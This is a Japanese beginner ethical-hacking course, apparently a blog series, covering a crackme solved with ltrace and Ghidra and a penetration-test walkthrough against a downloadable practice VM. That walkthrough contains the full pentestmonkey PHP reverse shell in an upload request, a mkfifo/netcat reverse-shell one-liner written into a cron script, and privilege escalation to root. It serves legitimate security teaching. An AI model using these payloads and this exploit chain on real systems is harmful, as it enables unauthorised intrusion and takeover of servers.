実戦形式で学ぶホワイトハッカーの技術

初心者向けのEthical Hacking講座です。

サイバーセキュリティの世界へようこそ

僕は2020年に「Mr.Robot」という、ハッカーが主人公のドラマを見てから、セキュリティエンジニアを目指しました。

そして現在、ホワイトハッカー/ペネトレーションテスター/セキュリティエンジニアなど様々な呼び名で呼ばれますが、サイバーセキュリティ専門のエンジニアとして働いています。

皆さんはサイバーセキュリティやハッキングに興味がありますか?ハッキングという単語にワクワクする人も多いのではないでしょうか?

ハッキングと聞くと犯罪行為であるかのように思ってしまうかもしれませんが、本来の意味合い的には全く悪い行いではありません。

ハッキング (英語: hacking、別名: ハック) とは、高度な知識や技術を用いて、コンピュータやコンピュータネットワークの解析・改造・構築などを行うことをいう。ハッキングのうち、他人が管理するコンピュータからデータを窃取するなどの不正行為は、クラッキングと呼び区別される。

Wikipediaより参照

コンピュータの世界では、高度な知識や技術を持つ人をハッカーと呼びます。しかし、犯罪行為(クラッキング)を行う人が自身のことをハッカーと呼ぶことが多かったため、ハッカー=犯罪者というイメージがついてしましました。

僕の様なホワイトハッカー/Ethical Hackerは、コンピュータやネットワークに関する技術を、ブラックハッカー/クラッカーから守るために使います。

ブラックハッカーから身を守るためには、守備側の知識だけでなく、ブラックハッカーがどういった手法で攻撃するのかを知っておく必要があります。「攻撃は最大の防御」という言葉があるように、攻撃手法を学ぶことがブラックハッカーへの最善の対抗策であると考えています。

僕はそんなセキュリティエンジニアが日本にもっと増えればよいなと思っています。どのような仕事であれ、スマートフォンやPCを使用する以上我々はハッキングの対象です。そういった意味では、セキュリティエンジニアではなくても、サイバーセキュリティやハッキングへの知識がある人が増えることには大きな意味があります。

そのような人が増えると個人や会社、そして日本という国をサイバーセキュリティ被害から守ることができると信じています。

 

僕はこれから、自身の持っているサイバーセキュリティ/ハッキングの技術において、初級レベルの技術をお伝えします。

そして実際にハッキングを行ってもらいます。(ローカル環境の仮想マシン上で行うため安全です。)

プログラミングやサイバーセキュリティへの知識がなくても大丈夫です。

このカリキュラムを全て終えるころには、サイバーセキュリティへの知見や意欲が高まっており、皆さんが周囲の人をハッキングの被害から守れるような人材になってもらえると信じています。

このカリキュラムでは下記を学びます。

  1. Webアプリケーションの脆弱性
  2. ペネトレーションテスト(サーバーへの侵入)
  3. リバースエンジニアリング(簡単なプログラムの解析)

本カリキュラムは初学者の方を対象としているため、時には正確な説明を省き、簡易的で抽象的な説明をすることがあります。これは初めから専門用語などを使いすぎると、初学者が挫折してしまう事があるためです。仮に理解が曖昧な部分があったとしても、一度ざっくりと理解した状態で進み、どこかで必ず振り返る時がきますので、そこで改めて正確なことを学んでもらいたいと考えています。

また本カリキュラムでは初学者を対象にしているとはいえ、全ての用語を解説することはできません。ですのでわからない単語や理解できないことに遭遇した場合には、Googleで検索したりChatGPTに聞いてみたりと自分で調べることが大切です。

ここで一つ宣言をさせてください。

このプログラムは教育目的のみにて使用してください。許可を得ていない対象へのハッキングは犯罪行為です。本プログラムは犯罪行為を助長するものではありません。

本カリキュラムではローカル環境の仮想マシン上で行うため、安全に実践することができますが、ここで習得した技術を悪用しないようにお願いします。

 

ではまずハッキングについて勉強するために環境構築をしましょう。退屈に感じる人もいるかもしれませんが、ここを乗り越えると楽しくなるはずなので、ついてきてください!

learn-ethicalhacking.hatenablog.com

リバースエンジニアリング超入門

最後のトピックはリバースエンジニアリングです。

リバースエンジニアリングとはいったん何なのでしょうか。
Wikipediaで調べてみると、下記の様な説明になるそうです。

リバースエンジニアリング(英: reverse engineering)とは、機械を分解したり、製品の動作を観察したり、ソフトウェアの動作を解析するなどして、製品の構造を分析し、そこから製造方法や動作原理、設計図などの仕様やソースコードなどを調査することを指す。

少し分かりにくいでしょうか。
皆さんが想像しやすいようにゲームの例で考えてみましょう。
例えば、自分のキャラクターとCPUのキャラクターが戦うゲームがあったとします。

Fighting Game

皆さんはキックやパンチを繰り出して、CPUを倒そうとします。
キックとパンチはそれぞれ与えるダメージが違います。さらにガードされると与えられるダメージ量が減ってしまいます。
このように複雑なゲームでは、一体内部ではどのような処理になっているのだろうと気になりますよね。
この内部の処理を知るための解析をリバースエンジニアリングと呼びます。

ここで一つ重要なことなのでお伝えしておくと、許可を得ていないソフトウェアやハードウェアへのリバースエンジニアリングは違法となります。必ず許可を得たプログラムに対してのみ行うようにしましょう。
ゲームに対してリバースエンジニアリングを行い、プログラムを改ざんしてしまうと、俗に言う「チート」行為にあたってしまいます。

話を戻して、プログラムの中身を知りたいのですが、私達はバイナリのソースコードを持っていません。
もちろん開発者であれば、そのプログラムがどのような処理をするのかソースコードを閲覧することで確認できますが、ユーザーはできません。
そのためリバースエンジニアリングを行うことで、ソースコードがなくともどのような処理を行っているのかを知ろうとするわけです。
オリジナルに近いソースコードに戻せることはあまりありませんが(中間言語系は割と戻せたりしますが)、時間をかければプログラムの内部を解明することも可能です。
基本的にリバースエンジニアリングには高度な知識や技術が求められますが、今回は超入門ということで、Linuxのコマンドのみにて解析したいと思います。
なので今回はリバースエンジニアリングというよりも、ファイル解析に近いかもしれません。

ではまず解析用のプログラム「crackme」をKali Linuxにダウンロードしましょう。
github.com

では解析をはじめます。
これから使用するコマンドがKali Linux上に入っていない場合は、コマンドを使用する際にインストールするかどうか聞かれるので、インストールしてください。

解析

まずこのファイルが何なのか「file」コマンドで確認します。

┌──(kali㉿kali)-[~/Downloads]
└─$ file crackme
crackme: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=75738b208b83feabd92439f81104e978710f4d19, for GNU/Linux 3.2.0, not stripped

ELFのexecutableということで、Linux上で実行できるファイルであることが分かります。
では実行してみましょう。(マルウェアの可能性もあるので、いきなり実行するのは本来危ないです。)

┌──(kali㉿kali)-[~/Downloads]
└─$ ./crackme 
Enter the password: 123456
Not Accepted

実行するとパスワードを求められ、適当なパスワードを入力すると「Not Accepted」というメッセージが出力されます。
つまり正しいパスワードを入力することが今回のゴールです。
ですが私達はパスワードを知りません。そこで正しいパスワードをリバースエンジニアリングによって取得します。

次に実行ファイルから文字列を取得してみましょう。

┌──(kali㉿kali)-[~/Downloads]
└─$ strings crackme 
/lib64/ld-linux-x86-64.so.2
puts
__libc_start_main
__cxa_finalize
printf
__isoc99_scanf
strcmp
libc.so.6
GLIBC_2.7
GLIBC_2.2.5
GLIBC_2.34
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
PTE1
u+UH
TalkToMeH
Enter the password: 
Well Done
Not Accepted
;*3$"
GCC: (Debian 12.2.0-14) 12.2.0
Scrt1.o

出力結果が長いので一部省略していますが、「Enter the password: 」や「Not Accepted」などの見慣れた文字列も見られます。
その2つの間にある「Well Done」は正解時のメッセージであると予想することができます。
「Enter the password: 」の上には、「TalkToMeH」という謎の文字列がありますが、今は何かわからないので頭の片隅に入れて、次のステップに進みましょう。

シンボル情報(関数名や変数名などの情報)を確認してみましょう。
「nm」コマンドを実行することで、オブジェクトファイルのシンボル情報を確認できます。

                                                                                                                                   
┌──(kali㉿kali)-[~/Downloads]
└─$ nm crackme
000000000000037c r __abi_tag
0000000000004030 B __bss_start
0000000000004030 b completed.0
                 w __cxa_finalize@GLIBC_2.2.5
0000000000004020 D __data_start
0000000000004020 W data_start
00000000000010b0 t deregister_tm_clones
0000000000001120 t __do_global_dtors_aux
0000000000003dd8 d __do_global_dtors_aux_fini_array_entry
0000000000004028 D __dso_handle
0000000000003de0 d _DYNAMIC
0000000000004030 D _edata
0000000000004038 B _end
00000000000011f0 T _fini
0000000000001160 t frame_dummy
0000000000003dd0 d __frame_dummy_init_array_entry
0000000000002108 r __FRAME_END__
0000000000003fe8 d _GLOBAL_OFFSET_TABLE_
                 w __gmon_start__
0000000000002034 r __GNU_EH_FRAME_HDR
0000000000001000 T _init
0000000000002000 R _IO_stdin_used
                 U __isoc99_scanf@GLIBC_2.7
                 w _ITM_deregisterTMCloneTable
                 w _ITM_registerTMCloneTable
                 U __libc_start_main@GLIBC_2.34
0000000000001169 T main
                 U printf@GLIBC_2.2.5
                 U puts@GLIBC_2.2.5
00000000000010e0 t register_tm_clones
0000000000001080 T _start
                 U strcmp@GLIBC_2.2.5
0000000000004030 D __TMC_END__

下の方に「strcmp」という関数があります。
この関数は2つの文字列を比較をするものです。つまりこの関数で、パスワードのチェックをしているのではないかと予想できます。

ではこの関数の処理を見てみましょう。
今回は「ltrace」を使用します。
「ltrace」とは、ダイナミックリンクライブラリの呼び出しを追跡するプログラムで、今回であれば「strcmp」関数の引数を確認するために使用します。

┌──(kali㉿kali)-[~/Downloads]
└─$ ltrace ./crackme
printf("Enter the password: ")                                                              = 20
__isoc99_scanf(0x55e930f3f019, 0x7ffe9a991930, 0, 0Enter the password: 

ltraceを実行すると、一度ここで止まります。
「scanf」で止まっており、パスワードを聞かれています。適当なパスワードを入力しましょう。
すると正しいパスワードが判明します。

┌──(kali㉿kali)-[~/Downloads]
└─$ ltrace ./crackme
printf("Enter the password: ")                                                              = 20
__isoc99_scanf(0x55e930f3f019, 0x7ffe9a991930, 0, 0Enter the password: hello
)                                        = 1
strcmp("hello", "TalkToMe")                                                                 = 20
puts("Not Accepted"Not Accepted
)                                                                        = 13
+++ exited (status 0) +++

strcmp関数で「hello」と「TalkToMe」が比較されています。
「hello」は僕が入力したものなので、「TalkToMe」がパスワードではないかと見当がつきます。

では正しいパスワードでプログラムを動かしてみましょう。

┌──(kali㉿kali)-[~/Downloads]
└─$ ./crackme  
Enter the password: TalkToMe
Well Done

正解しました。
このようにリバースエンジニアリングを行うことで、内部の処理を把握することができ、今回であれば普通は取得できないパスワードを当てることができました。

今回は超入門でしたが、通常のリバースエンジニアリングでは「Ghidra」や「IDA」などのデコンパイル(逆アセンブリ)ツールを使うことがほとんどです。
Ghidraに少しだけ触れてみましょう。

Ghidra

まずGhidraをインストールして実行します。

┌──(kali㉿kali)-[~/Downloads]
└─$ sudo apt update && sudo apt install ghidra --fix-missing

┌──(kali㉿kali)-[~/Downloads]
└─$ ghidra

Ghidraが起動すると、「File」→「Import File」を選択し、Crackmeをインポートします。
すると、「Auto Analyze」のポップアップが出るので、全てOKを押しましょう。
すると下記の画像のような状態になるはずです。

Ghidra

そして左側の「Symbol Tree」内の「Functions」からmainを選択します。

main関数

デコンパイル結果を見ると、ソースコードのようなものが確認できます。

デコンパイル結果のコードはとてもシンプルで、入力したパスワードが合っていれば「Well Done」、間違っていれば「Not Accepted」というメッセージが出力されます。
どうやら正しいパスワードは「local81」という変数に入っているのですが、「0x654d6f546b6c6154」という16進数として格納されています。
その16進数にカーソルを当てると、char型で「eMoTklaT」と表示されます。
勘のいい方は、これが正解のパスワードである「TalkToMe」を逆から読んだ形であると気づくかもしれません。
これはリトルエンディアンであるためです。気になる方は調べてみてください。

要はGhidraを使えば、コンパイルされたプログラムをデコンパイルして、デコンパイルされたコードを追っていくことで、プログラムの処理を理解することができます。
実際は全ての処理を追っていくのは大変ですが、Ghidraによるリバースエンジニアリングの様子だけでも理解してもらえると嬉しいです。

ペネトレーションテスト②

ではペネトレーションテストを続けていきましょう。
今回は前回よりも、現実世界で発生しうるものにしました。(本職のペネトレーションテスターから見るとツッコミどころはありますが、初心者向けということでご容赦ください。)

では今回も下記リンクより仮想マシンをダウンロードし、Virtual Boxにインポートしましょう。
drive.google.com
いつも通りにネットワーク設定を行い(NATネットワークを選択し)、起動したサーバーのTerminalからIPアドレスを取得しましょう。

Writeup

早速ポートスキャンを実行します。

┌──(kali㉿kali)-[~]
└─$ nmap -sV -sC -Pn 10.0.2.15
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-29 01:49 EDT
Stats: 0:00:11 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 50.00% done; ETC: 01:50 (0:00:11 remaining)
Nmap scan report for 10.0.2.15
Host is up (0.00028s latency).
Not shown: 996 closed tcp ports (conn-refused)
PORT     STATE SERVICE  VERSION
21/tcp   open  ftp      ProFTPD
80/tcp   open  http     Apache httpd 2.4.56 ((Unix) OpenSSL/1.1.1t PHP/8.2.4 mod_perl/2.0.12 Perl/v5.34.1)
| http-title: Welcome to XAMPP
|_Requested resource was http://10.0.2.15/dashboard/
|_http-server-header: Apache/2.4.56 (Unix) OpenSSL/1.1.1t PHP/8.2.4 mod_perl/2.0.12 Perl/v5.34.1
443/tcp  open  ssl/http Apache httpd 2.4.56 ((Unix) OpenSSL/1.1.1t PHP/8.2.4 mod_perl/2.0.12 Perl/v5.34.1)
| http-title: Welcome to XAMPP
|_Requested resource was https://10.0.2.15/dashboard/
| tls-alpn: 
|_  http/1.1
| ssl-cert: Subject: commonName=localhost/organizationName=Apache Friends/stateOrProvinceName=Berlin/countryName=DE
| Not valid before: 2004-10-01T09:10:30
|_Not valid after:  2010-09-30T09:10:30
|_http-server-header: Apache/2.4.56 (Unix) OpenSSL/1.1.1t PHP/8.2.4 mod_perl/2.0.12 Perl/v5.34.1
|_ssl-date: TLS randomness does not represent time

全部で3つのポートが開いています。
今回もFTPが稼働していますが、匿名ユーザーのログインが許可されていない上に、クレデンシャルを持っていないためスキップしましょう。

Port80/443

Port80は前回学んだ通り、ブラウザからアクセスできます。
ブラウザからアクセスすると、下記のようなアプリケーションが稼働していることがわかります。

Simple Chatbot Application

「Simple Chatbot Application」という名前のアプリケーションのようです。
右下にはバージョン情報が記載されており、バージョン1.0であることが分かります。
アプリケーションの名前とバージョン情報が判明した際には、脆弱性がすでに見つかっていないか調べることが大切です。
「Simple Chatbot Application 1.0 exploit」などでGoogle検索してみると、すでに脆弱性が存在し、エクスプロイトコードが公開されていることが分かります。
www.exploit-db.com
「Exploit-DB」には、過去発見された様々な脆弱性の攻撃方法(エクスプロイトコード)が書かれています。

上記のエクスプロイトコードを読んでみると、アバターの画像を変更する際に、PHPのshellをアップロードできる脆弱性があるようです。
任意のPHPファイルをアップロードできることはすなわち、シェルを取れること(サーバーに侵入できること)を意味します。
PHPのリバースシェルのスクリプトはすでに様々公開されており、下記が一例です。
github.com
このスクリプトを使用することで、任意のPHPのファイルをアップロードできるシチュエーションであれば、サーバーに侵入することが可能です。(厳密にはサーバーがPHPのファイルを実行できる環境でなければいけません。)
エクスプロイトする前にまずは、Burp Suiteで通信を傍受しながら、アバターの画像を変更できる機能を探しましょう。
先ほどのExploit-DBの中に、ソフトウェアについてのURLがありました。
www.sourcecodester.com
記事を読んでみると、「/admin」というディレクトリに管理画面が存在することが分かります。
遷移してみると、パスワードを求められます。

Login

記事に書かれているクレデンシャルを入力しましょう。

admin

ログインに成功しました。
「Settings」に移動すると、アバター画像を変更できそうな設定が見つかります。

Settings

適当なアバターを変更してみると、エクスプロイトコードに書かれていたリクエストが見つかるはずです。
Exploit-DBのエクスプロイトコードでは、phpinfo関数を呼び出しているだけですが、今回はペネトレーションテストなので、先ほどのリバースシェルに置き換えましょう。

最終的なリクエストは下記の様になるはずです。

POST /classes/SystemSettings.php?f=update_settings HTTP/1.1
Host: 10.0.2.15
Content-Length: 6787
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTwFnwowvaBACIBBn
Origin: http://10.0.2.15
Referer: http://10.0.2.15/admin/?page=system_info
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=bliiam7tjddmun2qg13gc4klbl
Connection: close

------WebKitFormBoundaryTwFnwowvaBACIBBn
Content-Disposition: form-data; name="name"

Simple ChatBot Application
------WebKitFormBoundaryTwFnwowvaBACIBBn
Content-Disposition: form-data; name="short_name"

ChatBot
------WebKitFormBoundaryTwFnwowvaBACIBBn
Content-Disposition: form-data; name="intro"

Hi! I'm John, a ChatBot of this application. How can I help you?
------WebKitFormBoundaryTwFnwowvaBACIBBn
Content-Disposition: form-data; name="no_result"

I am sorry. I can't understand your question. Please rephrase your question and make sure it is related to this site. Thank you :)
------WebKitFormBoundaryTwFnwowvaBACIBBn
Content-Disposition: form-data; name="img"; filename="reverse_shell.php"
Content-Type: application/octet-stream

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  The author accepts no liability
// for damage caused by this tool.  If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set_time_limit (0);
$VERSION = "1.0";
$ip = '10.0.2.24';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
        // Fork and have the parent process exit
        $pid = pcntl_fork();

        if ($pid == -1) {
                printit("ERROR: Can't fork");
                exit(1);
        }

        if ($pid) {
                exit(0);  // Parent exits
        }

        // Make the current process a session leader
        // Will only succeed if we forked
        if (posix_setsid() == -1) {
                printit("Error: Can't setsid()");
                exit(1);
        }

        $daemon = 1;
} else {
        printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
        printit("$errstr ($errno)");
        exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
        printit("ERROR: Can't spawn shell");
        exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
        // Check for end of TCP connection
        if (feof($sock)) {
                printit("ERROR: Shell connection terminated");
                break;
        }

        // Check for end of STDOUT
        if (feof($pipes[1])) {
                printit("ERROR: Shell process terminated");
                break;
        }

        // Wait until a command is end down $sock, or some
        // command output is available on STDOUT or STDERR
        $read_a = array($sock, $pipes[1], $pipes[2]);
        $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

        // If we can read from the TCP socket, send
        // data to process's STDIN
        if (in_array($sock, $read_a)) {
                if ($debug) printit("SOCK READ");
                $input = fread($sock, $chunk_size);
                if ($debug) printit("SOCK: $input");
                fwrite($pipes[0], $input);
        }

        // If we can read from the process's STDOUT
        // send data down tcp connection
        if (in_array($pipes[1], $read_a)) {
                if ($debug) printit("STDOUT READ");
                $input = fread($pipes[1], $chunk_size);
                if ($debug) printit("STDOUT: $input");
                fwrite($sock, $input);
        }

        // If we can read from the process's STDERR
        // send data down tcp connection
        if (in_array($pipes[2], $read_a)) {
                if ($debug) printit("STDERR READ");
                $input = fread($pipes[2], $chunk_size);
                if ($debug) printit("STDERR: $input");
                fwrite($sock, $input);
        }
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
        if (!$daemon) {
                print "$string\n";
        }
}

?> 


------WebKitFormBoundaryTwFnwowvaBACIBBn
Content-Disposition: form-data; name="bot_avatar"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundaryTwFnwowvaBACIBBn
Content-Disposition: form-data; name="user_avatar"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundaryTwFnwowvaBACIBBn--

PHPスクリプト内のIPアドレスはKali LinuxIPアドレスに変更してください。
ポート番号はそのままで大丈夫です。

上記のリクエストを送信すると、PHPスクリプトがサーバーに保存されます。
Burp Suite内の「HTTP hisotry」タブを見るとわかりますが、「/uploads」というディレクトリが存在し、そこには先ほどアップロードしたPHPスクリプトが保存されています。
後はこのファイルをブラウザ上でクリックすると、リバースシェルが取れます。

その前に少しだけ準備が必要です。
OSコマンドインジェクションのデモンストレーションを行った時と同様に、下記コマンドにてポートを開いて待ちましょう。

┌──(kali㉿kali)-[~]
└─$ nc -lvnp 1234 

そして、先ほどアップロードしたファイルを実行します。

/uploads

すると下記の様にシェルが取れました。

connect to [10.0.2.24] from (UNKNOWN) [10.0.2.15] 57756
Linux leon-VirtualBox 5.15.0-76-generic #83-Ubuntu SMP Thu Jun 15 19:16:32 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
 15:19:49 up  2:33,  1 user,  load average: 0.00, 0.03, 0.01
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
leon     tty7     :0               12:46    2:33m 13.89s  0.46s cinnamon-session --session cinnamon
uid=1(daemon) gid=1(daemon) groups=1(daemon)
/bin/sh: 0: can't access tty; job control turned off
$ 

これでサーバーへの侵入は完了です。
次は権限昇格に移ります。

権限昇格

前回は「LinPEAS」というツールを使用して、色々なLinux内の情報を列挙しました。
今回も実行してもちろん大丈夫ですが、実行してあまり有益な情報を得られなかったと仮定しましょう。
次に僕が使用するツールは「pspy」です。
このツールはLinuxのプロセスを監視するツールで、権限昇格という観点から見ると、定期的に高権限で実行されているファイルやコマンドを見つけて、その中身を改ざんするという攻撃方法に使えます。
実演した方がわかりやすいと思うので、実践してみましょう。
まず「pspy」をターゲットのサーバー上にダウンロードして、実行します。

$ wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
$ chmod +x pspy64
$ ./pspy64

しばらく置いておくと、下記のコマンドが定期的に実行されていることが分かります。

CMD: UID=1000  PID=2846   | /bin/sh -c /check/check_alive.sh 

このshファイルはUID:1000(leon)ユーザーの権限で実行されています。
ではこのファイル自体の権限を確認してみましょう。

$ cd check
$ ls -la
total 12
drwxrwxrwx  2 root root 4096 Oct  3 10:17 .
drwxr-xr-x 24 root root 4096 Oct  2 18:58 ..
-rwxrwxrwx  1 leon leon   20 Oct  3 10:17 check_alive.sh

なんと「check_alive.sh」ファイルは、全てのユーザーで閲覧・編集・実行(rwxrwxrwx)が可能でした。
Linuxのファイル権限に関しては、下記記事を参考にしてください。
qiita.com
まずここまでで分かっていることを整理しましょう。

  • leonユーザーの権限で、「check_alive.sh」は定期的に(1分おきに)実行されている。
  • 「check_alive.sh」は全てのユーザーが編集可能である。

これを踏まえると、「check_alive.sh」の中身を書き換えると、そのファイルはleonユーザーの権限で実行されるため、leonとしてのシェルを取れるということです。

では実践してみましょう。

$ echo "rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.2.24 4444 >/tmp/f" > check_alive.sh
$ cat check_alive.sh
rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.2.24 4444 >/tmp/f

今回使用したリバースシェルのペイロードは下記のチートシートから拝借しました。
github.com

そして、netcatでポートを開いて待ちましょう。

┌──(kali㉿kali)-[~]
└─$ nc -lvnp 4444                 
listening on [any] 4444 ...
connect to [10.0.2.24] from (UNKNOWN) [10.0.2.15] 43544

上記のように1分ほど待つと、新たなシェルが取れることが分かります。
「id」コマンドなどを実行すると、leonになっていることが判明します。
まだrootではありません。しかしここからは前回と同じです。

$ sudo -l
Matching Defaults entries for leon on leon-VirtualBox:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty, pwfeedback

User leon may run the following commands on leon-VirtualBox:
    (ALL : ALL) NOPASSWD: ALL
    (root) NOPASSWD: /usr/bin/mintdrivers-remove-live-media
    (root) NOPASSWD: /usr/bin/mint-refresh-cache
    (root) NOPASSWD: /usr/lib/linuxmint/mintUpdate/synaptic-workaround.py
    (root) NOPASSWD: /usr/lib/linuxmint/mintUpdate/dpkg_lock_check.sh
$ sudo bash
id
uid=0(root) gid=0(root) groups=0(root)

これでrootになれました。
ターゲットのサーバーを完全に掌握したことになります。

対策

ここから学んでもらいたい教訓は、古いバージョンのソフトウェアを使用しないということです。
古いバージョンが必ずしも悪いわけではありませんが、古いバージョンのソフトウェアには脆弱性が発見されていることが多々あります。
ハッカーの観点からしても、自分たちで新たな脆弱性を発見するより、既知の脆弱性が見つかっているソフトウェアなどを攻撃する方が効率的です。
バージョンを上げたり、最新版にしたりするだけで防ぐことのできる攻撃がたくさんあります。
常にバージョン情報やアップデート情報には敏感でいましょう。

いかがだったでしょうか?
これでペネトレーションテストを終了します。
ペネトレーションテストはサーバーへの侵入というワクワクする業務であると同時に、Webアプリの脆弱性Linux脆弱性などのサイバーセキュリティに関する様々な知識を身に付けられる学習方法であるとも考えています。
もっとペネトレーションテストを学びたい人は、HackTheBoxをお勧めするので、是非挑戦してみてください。
app.hackthebox.com

続いては最後のテーマであるリバースエンジニアリングに移ります。

learn-ethicalhacking.hatenablog.com

ペネトレーションテスト①

次はペネトレーションテストについて学んでいきましょう。

ペネトレーションテストは、侵入テストと日本語では呼ばれ、サーバーへの侵入を指すことが多いです。
サーバーへの侵入には様々な手法が用いられます。
先ほど学習したWebアプリケーションの脆弱性(OSコマンドインジェクションなど)を利用して侵入する場合もありますし、SSHのクレデンシャルをブルートフォースして侵入することもあります。
また時には、フィッシングやソーシャルエンジニアリングなどを駆使して侵入することもあります。
侵入の経路は本当に様々です。
今回は、人をターゲットとするソーシャルエンジニアリングは行わず、公開(していると仮定した)サーバーへの侵入を行います。

まずはペネトレーションテスト(外部サーバーへの侵入)の大まかな流れを整理したいと思います。

  1. ポートスキャンを実行
  2. 開放された各ポートにて稼働するサービスの調査
  3. 各サービスの既知の脆弱性(CVE)を調査
  4. 各サービスのゼロデイの脆弱性を調査
  5. 発見した脆弱性をエクスプロイト
  6. 権限の低いユーザーのシェルを獲得(サーバーへの侵入)
  7. サーバー内部の脆弱性をエクスプロイトし、権限を昇格

こちらの流れはケースバイケースで変更になることもありますが、大きな流れとしては上記のようになります。

今回もペネトレーションテスト用の仮想マシンを用意しましたので、下記リンクよりダウンロードして、Webアプリの環境構築をした時と同じように、VirtualBoxにインポートしてください。
drive.google.com

ネットワーク設定を行う(NATネットワークを選択する)ことをお忘れなく。
そして前回と同じように、Terminalを開いてIPアドレスを取得してください。
そのIPアドレスを公開サーバーのIPアドレスであると仮定して、ペネトレーションテストを行います。

Writeup

まずはポートスキャンを実行しましょう。
ポートスキャンとは、コンピュータネットワークのセキュリティを評価またはテストするための手法の1つであり、特定のホスト上のネットワークポートの状態を調査するプロセスです。これにより、ネットワーク上のシステムがどのようなサービスを提供しているのか、およびそれらのサービスがどのポートで利用可能であるかを判断することができます。

と言われても分かりにくいでしょう。ChatGPTに簡単に説明するように依頼したので、これでイメージがつくはずです。

コンピュータはお互いに話すために特別な「ドア」を使います。これらの「ドア」はポートと呼ばれています。たくさんの異なるポートがあり、それぞれが異なる種類の情報を送受信します。
ポートスキャンは、コンピュータがどの「ドア」(ポート)を開いていて、どの「ドア」を閉じているのかを見つける方法です。これは、コンピュータが他のコンピュータとどのように話しているのかを理解するのに役立ちます。

例えば、あるコンピュータがたくさんの「ドア」を開いていると、他の人が入ってきて何か悪いことをする可能性があります。だから、コンピュータのオーナーは、どの「ドア」が開いていてどの「ドア」が閉じているのかを知る必要があります。そして、悪い人が入ってこないように、「ドア」をきちんと閉じることができます。
ポートスキャンは、コンピュータの「ドア」をチェックする方法で、コンピュータを安全に保つのに役立ちます。でも、悪い人もこの方法を使って、コンピュータに入ろうとすることがあります。だから、ポートスキャンは注意して使う必要があります。

ポートスキャンはツールにより簡単に実行できます。
有名な「nmap」と呼ばれるツールがありますので、「nmap」を実行してみましょう。

nmap -sV -sC -Pn 10.0.2.26

結果は下記になります。

Nmap scan report for 10.0.2.26
Host is up (0.00047s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.5
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.0.2.24
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.5 - secure, fast, stable
